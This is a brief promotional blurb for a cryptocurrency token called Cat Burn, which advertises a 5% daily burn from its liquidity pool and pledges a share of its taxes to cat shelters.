Cat Burn is here to provide a hyper deflationary currency that has a 5% daily burn from the token in its LP. This not only provides value for it investors but on top of that, Cat Burn pledges to donate a percentage of its taxes to cat shelters. Cats get 9 tries at life, humans only get one, but what if we can make that one life better for everyone.
